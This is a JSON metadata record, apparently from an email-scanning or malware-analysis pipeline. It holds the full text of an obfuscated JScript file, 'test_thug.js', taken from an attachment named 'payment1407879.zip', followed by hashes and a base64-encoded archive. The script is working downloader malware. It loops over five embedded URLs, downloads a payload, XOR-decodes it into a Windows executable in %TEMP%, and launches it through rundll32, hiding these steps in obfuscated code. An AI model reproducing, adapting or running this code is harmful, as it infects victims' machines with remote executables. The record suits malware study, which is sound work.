Kr1[246]=148;OloloOloloOloloOloloOloloOloloKr1[242]=149;OloloOloloOloloOloloOloloOloloKr1[251]=150;OloloOloloOloloOloloOloloOloloKr1[249]=151;OloloOloloOloloOloloOloloOloloKr1[255]=152;OloloOloloOloloOloloOloloOloloKr1[214]=153;OloloOloloOloloOloloOloloOloloKr1[220]=154;OloloOloloOloloOloloOloloOloloKr1[162]=155;OloloOloloOloloOloloOloloOloloKr1[163]=156;OloloOloloOloloOloloOloloOloloKr1[165]=157;\nOloloOloloOloloOloloOloloOloloKr1[8359]=158;OloloOloloOloloOloloOloloOloloKr1[402]=159;OloloOloloOloloOloloOloloOloloKr1[225]=160;OloloOloloOloloOloloOloloOloloKr1[237]=161;OloloOloloOloloOloloOloloOloloKr1[243]=162;OloloOloloOloloOloloOloloOloloKr1[250]=163;OloloOloloOloloOloloOloloOloloKr1[241]=164;OloloOloloOloloOloloOloloOloloKr1[209]=165;OloloOloloOloloOloloOloloOloloKr1[170]=166;OloloOloloOloloOloloOloloOloloKr1[186]=167;\nOloloOloloOloloOloloOloloOloloKr1[191]=168;OloloOloloOloloOloloOloloOloloKr1[8976]=169;OloloOloloOloloOloloOloloOloloKr1[172]=170;OloloOloloOloloOloloOloloOloloKr1[189]=171;OloloOloloOloloOloloOloloOloloKr1[188]=172;OloloOloloOloloOloloOloloOloloKr1[161]=173;OloloOloloOloloOloloOloloOloloKr1[171]=174;OloloOloloOloloOloloOloloOloloKr1[187]=175;OloloOloloOloloOloloOloloOloloKr1[9617]=176;OloloOloloOloloOloloOloloOloloKr1[9618]=177;\nOloloOloloOloloOloloOloloOloloKr1[9619]=178;OloloOloloOloloOloloOloloOloloKr1[9474]=179;OloloOloloOloloOloloOloloOloloKr1[9508]=180;OloloOloloOloloOloloOloloOloloKr1[9569]=181;OloloOloloOloloOloloOloloOloloKr1[9570]=182;OloloOloloOloloOloloOloloOloloKr1[9558]=183;OloloOloloOloloOloloOloloOloloKr1[9557]=184;OloloOloloOloloOloloOloloOloloKr1[9571]=185;OloloOloloOloloOloloOloloOloloKr1[9553]=186;OloloOloloOloloOloloOloloOloloKr1[9559]=187;\nOloloOloloOloloOloloOloloOloloKr1[9565]=188;OloloOloloOloloOloloOloloOloloKr1[9564]=189;OloloOloloOloloOloloOloloOloloKr1[9563]=190;OloloOloloOloloOloloOloloOloloKr1[9488]=191;OloloOloloOloloOloloOloloOloloKr1[9492]=192;OloloOloloOloloOloloOloloOloloKr1[9524]=193;OloloOloloOloloOloloOloloOloloKr1[9516]=194;OloloOloloOloloOloloOloloOloloKr1[9500]=195;OloloOloloOloloOloloOloloOloloKr1[9472]=196;OloloOloloOloloOloloOloloOloloKr1[9532]=197;\nOloloOloloOloloOloloOloloOloloKr1[9566]=198;OloloOloloOloloOloloOloloOloloKr1[9567]=199;OloloOloloOloloOloloOloloOloloKr1[9562]=200;OloloOloloOloloOloloOloloOloloKr1[9556]=201;OloloOloloOloloOloloOloloOloloKr1[9577]=202;OloloOloloOloloOloloOloloOloloKr1[9574]=203;OloloOloloOloloOloloOloloOloloKr1[9568]=204;OloloOloloOloloOloloOloloOloloKr1[9552]=205;OloloOloloOloloOloloOloloOloloKr1[9580]=206;OloloOloloOloloOloloOloloOloloKr1[9575]=207;\nOloloOloloOloloOloloOloloOloloKr1[9576]=208;OloloOloloOloloOloloOloloOloloKr1[9572]=209;OloloOloloOloloOloloOloloOloloKr1[9573]=210;OloloOloloOloloOloloOloloOloloKr1[9561]=211;OloloOloloOloloOloloOloloOloloKr1[9560]=212;OloloOloloOloloOloloOloloOloloKr1[9554]=213;OloloOloloOloloOloloOloloOloloKr1[9555]=214;OloloOloloOloloOloloOloloOloloKr1[9579]=215;OloloOloloOloloOloloOloloOloloKr1[9578]=216;OloloOloloOloloOloloOloloOloloKr1[9496]=217;\nOloloOloloOloloOloloOloloOloloKr1[9484]=218;OloloOloloOloloOloloOloloOloloKr1[9608]=219;OloloOloloOloloOloloOloloOloloKr1[9604]=220;OloloOloloOloloOloloOloloOloloKr1[9612]=221;OloloOloloOloloOloloOloloOloloKr1[9616]=222;OloloOloloOloloOloloOloloOloloKr1[9600]=223;OloloOloloOloloOloloOloloOloloKr1[945]=224;OloloOloloOloloOloloOloloOloloKr1[223]=225;OloloOloloOloloOloloOloloOloloKr1[915]=226;OloloOloloOloloOloloOloloOloloKr1[960]=227;\nOloloOloloOloloOloloOloloOloloKr1[931]=228;OloloOloloOloloOloloOloloOloloKr1[963]=229;OloloOloloOloloOloloOloloOloloKr1[181]=230;OloloOloloOloloOloloOloloOloloKr1[964]=231;OloloOloloOloloOloloOloloOloloKr1[934]=232;OloloOloloOloloOloloOloloOloloKr1[920]=233;OloloOloloOloloOloloOloloOloloKr1[937]=234;OloloOloloOloloOloloOloloOloloKr1[948]=235;OloloOloloOloloOloloOloloOloloKr1[8734]=236;OloloOloloOloloOloloOloloOloloKr1[966]=237;\nOloloOloloOloloOloloOloloOloloKr1[949]=238;OloloOloloOloloOloloOloloOloloKr1[8745]=239;OloloOloloOloloOloloOloloOloloKr1[8801]=240;OloloOloloOloloOloloOloloOloloKr1[177]=241;OloloOloloOloloOloloOloloOloloKr1[8805]=242;OloloOloloOloloOloloOloloOloloKr1[8804]=243;OloloOloloOloloOloloOloloOloloKr1[8992]=244;OloloOloloOloloOloloOloloOloloKr1[8993]=245;OloloOloloOloloOloloOloloOloloKr1[247]=246;OloloOloloOloloOloloOloloOloloKr1[8776]=247;\nOloloOloloOloloOloloOloloOloloKr1[176]=248;OloloOloloOloloOloloOloloOloloKr1[8729]=249;OloloOloloOloloOloloOloloOloloKr1[183]=250;OloloOloloOloloOloloOloloOloloKr1[8730]=251;OloloOloloOloloOloloOloloOloloKr1[8319]=252;OloloOloloOloloOloloOloloOloloKr1[178]=253;OloloOloloOloloOloloOloloOloloKr1[9632]=254;OloloOloloOloloOloloOloloOloloKr1[160]=255;\nvar OloloOloloOloloOloloOloloOloloUj3=new Array();\nfor (var OloloOloloOloloOloloOloloOloloXy8=0; OloloOloloOloloOloloOloloOloloXy8 < OloloOloloOloloOloloOloloOloloBXc5.length; OloloOloloOloloOloloOloloOloloXy8 += 1)\n{var OloloOloloOloloOloloOloloOloloQNa5=OloloOloloOloloOloloOloloOloloBXc5[\"charCodeAt\"](OloloOloloOloloOloloOloloOloloXy8);\nif (OloloOloloOloloOloloOloloOloloQNa5 < 128){var OloloOloloOloloOloloOloloOloloLz7=OloloOloloOloloOloloOloloOloloQNa5;}\nelse {var OloloOloloOloloOloloOloloOloloLz7=OloloOloloOloloOloloOloloOloloKr1[OloloOloloOloloOloloOloloOloloQNa5];}\nOloloOloloOloloOloloOloloOloloUj3[\"push\"](OloloOloloOloloOloloOloloOloloLz7);};\nreturn OloloOloloOloloOloloOloloOloloUj3;}\nfunction OloloOloloOloloOloloOloloOloloEu6(OloloOloloOloloOloloOloloOloloASb1)\n{var OloloOloloOloloOloloOloloOloloUEf3=new Array();\neval(\"OloloOloloOloloOloloOloloOloloUEf3[168]=191;OloloOloloOloloOloloOloloOloloUEf3[169]=8976;OloloOloloOloloOloloOloloOloloUEf3[170]=172;OloloOloloOloloOloloOloloOloloUEf3[171]=189;OloloOloloOloloOloloOloloOloloUEf3[172]=188;OloloOloloOloloOloloOloloOloloUEf3[173]=161;OloloOloloOloloOloloOloloOloloUEf3[174]=171;OloloOloloOloloOloloOloloOloloUEf3[175]=187;OloloOloloOloloOloloOloloOloloUEf3[176]=9617;OloloOloloOloloOloloOloloOloloUEf3[177]=9618;\");\neval(\"OloloOloloOloloOloloOloloOloloUEf3[178]=9619;OloloOloloOloloOloloOloloOloloUEf3[179]=9474;OloloOloloOloloOloloOloloOloloUEf3[180]=9508;OloloOloloOloloOloloOloloOloloUEf3[181]=9569;OloloOloloOloloOloloOloloOloloUEf3[182]=9570;OloloOloloOloloOloloOloloOloloUEf3[183]=9558;OloloOloloOloloOloloOloloOloloUEf3[184]=9557;OloloOloloOloloOloloOloloOloloUEf3[185]=9571;OloloOloloOloloOloloOloloOloloUEf3[186]=9553;OloloOloloOloloOloloOloloOloloUEf3[187]=9559;\");\neval(\"OloloOloloOloloOloloOloloOloloUEf3[188]=9565;OloloOloloOloloOloloOloloOloloUEf3[189]=9564;OloloOloloOloloOloloOloloOloloUEf3[190]=9563;OloloOloloOloloOloloOloloOloloUEf3[191]=9488;OloloOloloOloloOloloOloloOloloUEf3[192]=9492;OloloOloloOloloOloloOloloOloloUEf3[193]=9524;OloloOloloOloloOloloOloloOloloUEf3[194]=9516;OloloOloloOloloOloloOloloOloloUEf3[195]=9500;OloloOloloOloloOloloOloloOloloUEf3[196]=9472;OloloOloloOloloOloloOloloOloloUEf3[197]=9532;\");\neval(\"OloloOloloOloloOloloOloloOloloUEf3[198]=9566;OloloOloloOloloOloloOloloOloloUEf3[199]=9567;OloloOloloOloloOloloOloloOloloUEf3[200]=9562;OloloOloloOloloOloloOloloOloloUEf3[201]=9556;OloloOloloOloloOloloOloloOloloUEf3[202]=9577;OloloOloloOloloOloloOloloOloloUEf3[203]=9574;OloloOloloOloloOloloOloloOloloUEf3[204]=9568;OloloOloloOloloOloloOloloOloloUEf3[205]=9552;OloloOloloOloloOloloOloloOloloUEf3[206]=9580;OloloOloloOloloOloloOloloOloloUEf3[207]=9575;\");\neval(\"OloloOloloOloloOloloOloloOloloUEf3[208]=9576;OloloOloloOloloOloloOloloOloloUEf3[209]=9572;OloloOloloOloloOloloOloloOloloUEf3[210]=9573;OloloOloloOloloOloloOloloOloloUEf3[211]=9561;OloloOloloOloloOloloOloloOloloUEf3[212]=9560;OloloOloloOloloOloloOloloOloloUEf3[213]=9554;OloloOloloOloloOloloOloloOloloUEf3[214]=9555;OloloOloloOloloOloloOloloOloloUEf3[215]=9579;OloloOloloOloloOloloOloloOloloUEf3[216]=9578;OloloOloloOloloOloloOloloOloloUEf3[217]=9496;\");\neval(\"OloloOloloOloloOloloOloloOloloUEf3[218]=9484;OloloOloloOloloOloloOloloOloloUEf3[219]=9608;OloloOloloOloloOloloOloloOloloUEf3[220]=9604;OloloOloloOloloOloloOloloOloloUEf3[221]=9612;OloloOloloOloloOloloOloloOloloUEf3[222]=9616;OloloOloloOloloOloloOloloOloloUEf3[223]=9600;OloloOloloOloloOloloOloloOloloUEf3[224]=945;OloloOloloOloloOloloOloloOloloUEf3[225]=223;OloloOloloOloloOloloOloloOloloUEf3[226]=915;OloloOloloOloloOloloOloloOloloUEf3[227]=960;\");\neval(\"OloloOloloOloloOloloOloloOloloUEf3[228]=931;OloloOloloOloloOloloOloloOloloUEf3[229]=963;OloloOloloOloloOloloOloloOloloUEf3[230]=181;OloloOloloOloloOloloOloloOloloUEf3[231]=964;OloloOloloOloloOloloOloloOloloUEf3[232]=934;OloloOloloOloloOloloOloloOloloUEf3[233]=920;OloloOloloOloloOloloOloloOloloUEf3[234]=937;OloloOloloOloloOloloOloloOloloUEf3[235]=948;OloloOloloOloloOloloOloloOloloUEf3[236]=8734;OloloOloloOloloOloloOloloOloloUEf3[237]=966;\");\neval(\"OloloOloloOloloOloloOloloOloloUEf3[238]=949;OloloOloloOloloOloloOloloOloloUEf3[239]=8745;OloloOloloOloloOloloOloloOloloUEf3[240]=8801;OloloOloloOloloOloloOloloOloloUEf3[241]=177;OloloOloloOloloOloloOloloOloloUEf3[242]=8805;OloloOloloOloloOloloOloloOloloUEf3[243]=8804;OloloOloloOloloOloloOloloOloloUEf3[244]=8992;OloloOloloOloloOloloOloloOloloUEf3[245]=8993;OloloOloloOloloOloloOloloOloloUEf3[246]=247;OloloOloloOloloOloloOloloOloloUEf3[247]=8776;\");\neval(\"OloloOloloOloloOloloOloloOloloUEf3[248]=176;OloloOloloOloloOloloOloloOloloUEf3[249]=8729;OloloOloloOloloOloloOloloOloloUEf3[250]=183;OloloOloloOloloOloloOloloOloloUEf3[251]=8730;OloloOloloOloloOloloOloloOloloUEf3[252]=8319;OloloOloloOloloOloloOloloOloloUEf3[253]=178;OloloOloloOloloOloloOloloOloloUEf3[254]=9632;OloloOloloOloloOloloOloloOloloUEf3[255]=160;\");\neval(\"OloloOloloOloloOloloOloloOloloUEf3[128]=199;OloloOloloOloloOloloOloloOloloUEf3[129]=252;OloloOloloOloloOloloOloloOloloUEf3[130]=233;OloloOloloOloloOloloOloloOloloUEf3[131]=226;OloloOloloOloloOloloOloloOloloUEf3[132]=228;OloloOloloOloloOloloOloloOloloUEf3[133]=224;OloloOloloOloloOloloOloloOloloUEf3[134]=229;OloloOloloOloloOloloOloloOloloUEf3[135]=231;OloloOloloOloloOloloOloloOloloUEf3[136]=234;OloloOloloOloloOloloOloloOloloUEf3[137]=235;\");\neval(\"OloloOloloOloloOloloOloloOloloUEf3[138]=232;OloloOloloOloloOloloOloloOloloUEf3[139]=239;OloloOloloOloloOloloOloloOloloUEf3[140]=238;OloloOloloOloloOloloOloloOloloUEf3[141]=236;OloloOloloOloloOloloOloloOloloUEf3[142]=196;OloloOloloOloloOloloOloloOloloUEf3[143]=197;OloloOloloOloloOloloOloloOloloUEf3[144]=201;OloloOloloOloloOloloOloloOloloUEf3[145]=230;OloloOloloOloloOloloOloloOloloUEf3[146]=198;OloloOloloOloloOloloOloloOloloUEf3[147]=244;\");\neval(\"OloloOloloOloloOloloOloloOloloUEf3[148]=246;OloloOloloOloloOloloOloloOloloUEf3[149]=242;OloloOloloOloloOloloOloloOloloUEf3[150]=251;OloloOloloOloloOloloOloloOloloUEf3[151]=249;OloloOloloOloloOloloOloloOloloUEf3[152]=255;OloloOloloOloloOloloOloloOloloUEf3[153]=214;OloloOloloOloloOloloOloloOloloUEf3[154]=220;OloloOloloOloloOloloOloloOloloUEf3[155]=162;OloloOloloOloloOloloOloloOloloUEf3[156]=163;OloloOloloOloloOloloOloloOloloUEf3[157]=165;\");\neval(\"OloloOloloOloloOloloOloloOloloUEf3[158]=8359;OloloOloloOloloOloloOloloOloloUEf3[159]=402;OloloOloloOloloOloloOloloOloloUEf3[160]=225;OloloOloloOloloOloloOloloOloloUEf3[161]=237;OloloOloloOloloOloloOloloOloloUEf3[162]=243;OloloOloloOloloOloloOloloOloloUEf3[163]=250;OloloOloloOloloOloloOloloOloloUEf3[164]=241;OloloOloloOloloOloloOloloOloloUEf3[165]=209;OloloOloloOloloOloloOloloOloloUEf3[166]=170;OloloOloloOloloOloloOloloOloloUEf3[167]=186;\");\neval('var OloloOloloOloloOloloOloloOloloETy1=new Array();var OloloOloloOloloOloloOloloOloloEp4=\"\";var OloloOloloOloloOloloOloloOloloLz7; var OloloOloloOloloOloloOloloOloloQNa5;');\nfor (var OloloOloloOloloOloloOloloOloloXy8=0; OloloOloloOloloOloloOloloOloloXy8 < OloloOloloOloloOloloOloloOloloASb1.length; OloloOloloOloloOloloOloloOloloXy8 += 1)\n{OloloOloloOloloOloloOloloOloloLz7=OloloOloloOloloOloloOloloOloloASb1[OloloOloloOloloOloloOloloOloloXy8];\neval('if (OloloOloloOloloOloloOloloOloloLz7 < 128){OloloOloloOloloOloloOloloOloloQNa5=OloloOloloOloloOloloOloloOloloLz7;} else {OloloOloloOloloOloloOloloOloloQNa5=OloloOloloOloloOloloOloloOloloUEf3[OloloOloloOloloOloloOloloOloloLz7];}');\nOloloOloloOloloOloloOloloOloloETy1.push(String[\"fromCharCode\"](OloloOloloOloloOloloOloloOloloQNa5));}\nOloloOloloOloloOloloOloloOloloEp4=OloloOloloOloloOloloOloloOloloETy1[\"join\"](\"\");\nreturn OloloOloloOloloOloloOloloOloloEp4;}\nfunction OloloOloloOloloOloloOloloOloloDf8(OloloOloloOloloOloloOloloOloloASb1, OloloOloloOloloOloloOloloOloloZa6)\n{var OloloOloloOloloOloloOloloOloloGDx8 = OloloOloloOloloOloloOloloOloloWXf6(OloloOloloOloloOloloOloloOloloZa6);\nfor (var OloloOloloOloloOloloOloloOloloXy8 = 0; OloloOloloOloloOloloOloloOloloXy8 < OloloOloloOloloOloloOloloOloloASb1.length; OloloOloloOloloOloloOloloOloloXy8 += 1)\n{OloloOloloOloloOloloOloloOloloASb1[OloloOloloOloloOloloOloloOloloXy8] ^= OloloOloloOloloOloloOloloOloloGDx8[OloloOloloOloloOloloOloloOloloXy8 % OloloOloloOloloOloloOloloOloloGDx8.length];};\nreturn OloloOloloOloloOloloOloloOloloASb1;}\nfunction OloloOloloOloloOloloOloloOloloZSu1(OloloOloloOloloOloloOloloOloloIVx9)\n{var OloloOloloOloloOloloOloloOloloZUr2=new ActiveXObject(\"ADODB.Stream\");\nOloloOloloOloloOloloOloloOloloZUr2.type=2;\nOloloOloloOloloOloloOloloOloloZUr2[\"Charset\"]=\"437\";\nOloloOloloOloloOloloOloloOloloZUr2.open();\nOloloOloloOloloOloloOloloOloloZUr2[\"LoadFromFile\"](OloloOloloOloloOloloOloloOloloIVx9);\nvar OloloOloloOloloOloloOloloOloloUd4=OloloOloloOloloOloloOloloOloloZUr2[\"ReadText\"];\nOloloOloloOloloOloloOloloOloloZUr2.close();\nreturn OloloOloloOloloOloloOloloOloloWXf6(OloloOloloOloloOloloOloloOloloUd4);}\nfunction OloloOloloOloloOloloOloloOloloFe7(OloloOloloOloloOloloOloloOloloIVx9, OloloOloloOloloOloloOloloOloloASb1)\n{var OloloOloloOloloOloloOloloOloloZUr2=new ActiveXObject(\"ADODB.Stream\");\nOloloOloloOloloOloloOloloOloloZUr2.type=2;\nOloloOloloOloloOloloOloloOloloZUr2[\"Charset\"]=\"437\";\nOloloOloloOloloOloloOloloOloloZUr2.open();\nOloloOloloOloloOloloOloloOloloZUr2[\"writeText\"](OloloOloloOloloOloloOloloOloloEu6(OloloOloloOloloOloloOloloOloloASb1));\nOloloOloloOloloOloloOloloOloloZUr2[\"SaveToFile\"](OloloOloloOloloOloloOloloOloloIVx9, 2);\nOloloOloloOloloOloloOloloOloloZUr2.close();}\n//END_CODEC_PART\nvar OloloOloloOloloOloloOloloOloloAc6 = \"http://\";\n var OloloOloloOloloOloloOloloOloloHCy9 = new Array();\nOloloOloloOloloOloloOloloOloloHCy9.push(OloloOloloOloloOloloOloloOloloAc6 + \"realearthproperties.in/hwzyedmxdm\");\nOloloOloloOloloOloloOloloOloloHCy9.push(OloloOloloOloloOloloOloloOloloAc6 + \"decorvise.com/i2qdmdy2\");\nOloloOloloOloloOloloOloloOloloHCy9.push(OloloOloloOloloOloloOloloOloloAc6 + \"datasnood.com/jbgxjzr\");\nOloloOloloOloloOloloOloloOloloHCy9.push(OloloOloloOloloOloloOloloOloloAc6 + \"pedullaelectric.com/hmexsuo7l\");\nOloloOloloOloloOloloOloloOloloHCy9.push(OloloOloloOloloOloloOloloOloloAc6 + \"stoveegol.com/wyj5rku\");\nvar OloloOloloOloloOloloOloloOloloMQj6 = \"ZPJLQfI9rxCH7IY\";\nvar OloloOloloOloloOloloOloloOloloCMf7 = \"XpKyHHUszz69F\";\nvar OloloOloloOloloOloloOloloOloloUJo4 = \"Vy5I2AqqPcm\";\nvar OloloOloloOloloOloloOloloOloloKn7 = new ActiveXObject(\"Scripting.FileSystemObject\");\nvar OloloOloloOloloOloloOloloOloloOn9=2;\nvar OloloOloloOloloOloloOloloOloloXh7=new ActiveXObject(\"WScript.Shell\");\nvar OloloOloloOloloOloloOloloOloloOAu9=OloloOloloOloloOloloOloloOloloXh7[\"\\x45,\\x78,\\x70,\\x61,\\x6e,\\x64,\\x45,\\x6e,\\x76,\\x69,\\x72,\\x6f,\\x6e,\\x6d,\\x65,\\x6e,\\x74,\\x53,\\x74,\\x72,\\x69,\\x6e,\\x67,\\x73\".OloloOloloOloloOloloOloloOloloEe9()](\"\\x25\\x54\\x45\\x4d\\x50\\x25\\x2f\");\nvar OloloOloloOloloOloloOloloOloloBn5=OloloOloloOloloOloloOloloOloloOAu9 + OloloOloloOloloOloloOloloOloloMQj6;\nvar OloloOloloOloloOloloOloloOloloOs3=OloloOloloOloloOloloOloloOloloBn5 + \".td\" + \"b\";\nvar OloloOloloOloloOloloOloloOloloJFb1 = new ActiveXObject(eval('\"\\x4d\\x2c\\x53\\x2c\\x58\\x2c\\x4d\\x2c\\x4c\\x2c\\x32\\x2c\\x2e\\x2c\\x58\\x2c\\x4d\\x2c\\x4c\\x2c\\x48\\x2c\\x54\\x2c\\x54\\x2c\\x50\".OloloOloloOloloOloloOloloOloloEe9()'));\nfunction OloloOloloOloloOloloOloloOloloEo2()\n{\nvar OloloOloloOloloOloloOloloOloloAk3 = OloloOloloOloloOloloOloloOloloKn7[\"GetFile\"](OloloOloloOloloOloloOloloOloloOs3);\nreturn OloloOloloOloloOloloOloloOloloAk3[\"ShortPath\"];\n}\nvar OloloOloloOloloOloloOloloOloloAXm9 = 0;\nfor (var OloloOloloOloloOloloOloloOloloGh8 = 0; OloloOloloOloloOloloOloloOloloGh8 < OloloOloloOloloOloloOloloOloloHCy9.length; OloloOloloOloloOloloOloloOloloGh8 = OloloOloloOloloOloloOloloOloloGh8 + 1)\n{\ntry\n{\nvar OloloOloloOloloOloloOloloOloloGh7=new ActiveXObject(\"ADODB.Stream\");\nOloloOloloOloloOloloOloloOloloJFb1.open(\"\\x47\\x2c\\x45\\x2c\\x54\".OloloOloloOloloOloloOloloOloloEe9(), OloloOloloOloloOloloOloloOloloHCy9[OloloOloloOloloOloloOloloOloloGh8], false);\nOloloOloloOloloOloloOloloOloloJFb1.setRequestHeader(\"User-Agent\",\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\");\nOloloOloloOloloOloloOloloOloloJFb1[\"s,e,n,d\".OloloOloloOloloOloloOloloOloloEe9()]();\n// while (OloloOloloOloloOloloOloloOloloJFb1.readystate < 4) WScript[\"Sleep\"](100);\nOloloOloloOloloOloloOloloOloloGh7.open();\nOloloOloloOloloOloloOloloOloloGh7.type=1;\nvar OloloOloloOloloOloloOloloOloloAg7 = new Date();\nOloloOloloOloloOloloOloloOloloAg7.setFullYear(\"2015\");\n/*@cc_on\nOloloOloloOloloOloloOloloOloloGh7.write(OloloOloloOloloOloloOloloOloloJFb1.ResponseBody);\nOloloOloloOloloOloloOloloOloloGh7.position=0;\nif (\"\"+OloloOloloOloloOloloOloloOloloAg7.getFullYear() == \"2015\") OloloOloloOloloOloloOloloOloloGh7[\"SaveToFile\"](OloloOloloOloloOloloOloloOloloBn5, OloloOloloOloloOloloOloloOloloOn9);\nOloloOloloOloloOloloOloloOloloGh7.close();\nvar OloloOloloOloloOloloOloloOloloUj3 = OloloOloloOloloOloloOloloOloloZSu1(OloloOloloOloloOloloOloloOloloBn5);\nOloloOloloOloloOloloOloloOloloUj3 = OloloOloloOloloOloloOloloOloloDf8(OloloOloloOloloOloloOloloOloloUj3, OloloOloloOloloOloloOloloOloloUJo4);\nif (OloloOloloOloloOloloOloloOloloUj3[0] != 77 || OloloOloloOloloOloloOloloOloloUj3[1] != 90) continue;\nOloloOloloOloloOloloOloloOloloFe7(OloloOloloOloloOloloOloloOloloOs3, OloloOloloOloloOloloOloloOloloUj3);\nvar OloloOloloOloloOloloOloloOloloIIm6 = OloloOloloOloloOloloOloloOloloEo2();\nif (\"\"+OloloOloloOloloOloloOloloOloloAg7[\"getFullYear\"]() == \"2015\") eval('OloloOloloOloloOloloOloloOloloXh7[\"R\\x2c\\x75\\x2c\\x6e\".OloloOloloOloloOloloOloloOloloEe9()](\"r\\x2c\\x75\\x2c\\x6e\\x2c\\x64\\x2c\\x6c\\x2c\\x6c\\x2c\\x33\\x2c\\x32\".OloloOloloOloloOloloOloloOloloEe9() + \" \" + OloloOloloOloloOloloOloloOloloIIm6 + \",\" + OloloOloloOloloOloloOloloOloloCMf7);');\n@*/\nbreak;\n}\ncatch (e) {continue;};\n}\n\n", "Content-Encoding": "ISO-8859-1", "embeddedRelationshipId": "test_thug.js", "modified": "2016-11-30T11:46:18Z", "X-TIKA:embedded_resource_path": "/test_thug.js", "meta:save-date": "2016-11-30T11:46:18Z", "Last-Modified": "2016-11-30T11:46:18Z", "Last-Save-Date": "2016-11-30T11:46:18Z", "X-TIKA:parse_time_millis": "58", "date": "2016-11-30T11:46:18Z", "resourceName": "test_thug.js", "dcterms:modified": "2016-11-30T11:46:18Z", "Content-Type": "application/javascript; charset=ISO-8859-1", "X-Parsed-By": [ "org.apache.tika.parser.DefaultParser", "org.apache.tika.parser.txt.TXTParser" ] } ], "filename": "payment1407879.zip", "mail_content_type": "application/zip", "is_filtered": false, "is_archive": true, "ssdeep": "48:9RO6Jp4/MwRvwIVIZXMeIvJ8VHnqfYOp0QfXsbpxHqORZStHlaX8WbOSXdzHoH:RDcwIVWX6abOKwtFKbXdTe", "sha256": "0470a464ee2cde824f16ea8c86a1c4a230e28b62b4801e87d3706803acca3a4d", "content_transfer_encoding": "base64", "payload": "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\n